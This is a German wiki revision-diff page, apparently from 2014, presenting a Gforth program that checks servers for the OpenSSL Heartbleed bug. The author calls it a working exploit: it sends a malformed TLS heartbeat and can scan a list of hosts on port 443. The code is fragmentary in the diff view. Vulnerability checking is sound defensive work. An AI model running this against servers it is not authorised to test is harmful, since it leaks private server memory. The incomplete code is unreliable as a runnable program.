examples:heartbleed
Unterschiede
Hier werden die Unterschiede zwischen zwei Versionen angezeigt.
Nächste Überarbeitung | Vorhergehende Überarbeitung | ||
examples:heartbleed [2014-04-11 17:35] – angelegt bernd | examples:heartbleed [2014-04-11 22:00] (aktuell) – bernd | ||
---|---|---|---|
Zeile 1: | Zeile 1: | ||
====== Heartbleed Check ====== | ====== Heartbleed Check ====== | ||
- | Im OpenSSL von Version 1.0.1 bis 1.0.1f (ohne g) war eine ernste Lücke, die hier mit einem kurzen Programm demonstiert wird (das ist ein funktionierender Exploit!): | + | Im OpenSSL von Version 1.0.1 bis 1.0.1f (ohne g) war eine ernste Lücke, die hier mit einem kurzen Programm demonstiert wird (das ist ein funktionierender Exploit!). Verwenden mit einem neueren Gforth ([[http:// |
+ | |||
+ | < | ||
+ | gforth heartbleed.fs < | ||
+ | </ | ||
+ | |||
+ | starten. | ||
+ | |||
+ | < | ||
+ | cat < | ||
+ | </ | ||
+ | |||
+ | oder Gforth starten und dann | ||
+ | |||
+ | <code Forth> | ||
+ | require heartbleed.fs | ||
+ | s" < | ||
+ | </ | ||
+ | |||
+ | Was der Code macht, ist schnell erklärt: Er schickt zuerst ein " | ||
<code Forth> | <code Forth> | ||
Zeile 34: | Zeile 53: | ||
s" / | s" / | ||
random32 4 + 28 r@ read-file throw drop r> close-file throw ; | random32 4 + 28 r@ read-file throw drop r> close-file throw ; | ||
- | |||
- | Create pollfds pollfd %size allot | ||
Variable buggy? | Variable buggy? | ||
- | : get-heartbleed ( addr u port -- ) | + | : get-heartbleed ( addr u port -- ) >r 2dup r> buggy? off |
- | 1000000 set-socket-timeout | + | 1000000 set-socket-timeout |
- | | + | open-socket >r |
- | open-socket >r r@ fileno pollfds fd l! POLLIN pollfds events w! | + | |
TLS-header header# r@ write-socket | TLS-header header# r@ write-socket | ||
BEGIN r@ pad $10000 read-socket nip 0= UNTIL | BEGIN r@ pad $10000 read-socket nip 0= UNTIL | ||
TLS-heartbleed heartbleed# r@ write-socket | TLS-heartbleed heartbleed# r@ write-socket | ||
- | BEGIN r@ pad $10000 read-socket | + | BEGIN r@ pad $10000 read-socket |
+ | over c@ $18 = buggy? @ or \ heartbeet reply | ||
+ | over 0<> and | ||
+ | | ||
r> close-socket | r> close-socket | ||
- | buggy? @ IF ." Heartbleed | + | |
+ | |||
+ | Variable files | ||
+ | |||
+ | : file-heartbleed ( addr u -- ) | ||
+ | r/w open-file throw files $[]slurp | ||
+ | files [: 443 get-heartbleed ;] $[]map | ||
script? [IF] | script? [IF] |
examples/heartbleed.1397230509.txt.gz · Zuletzt geändert: 2014-04-11 17:35 von bernd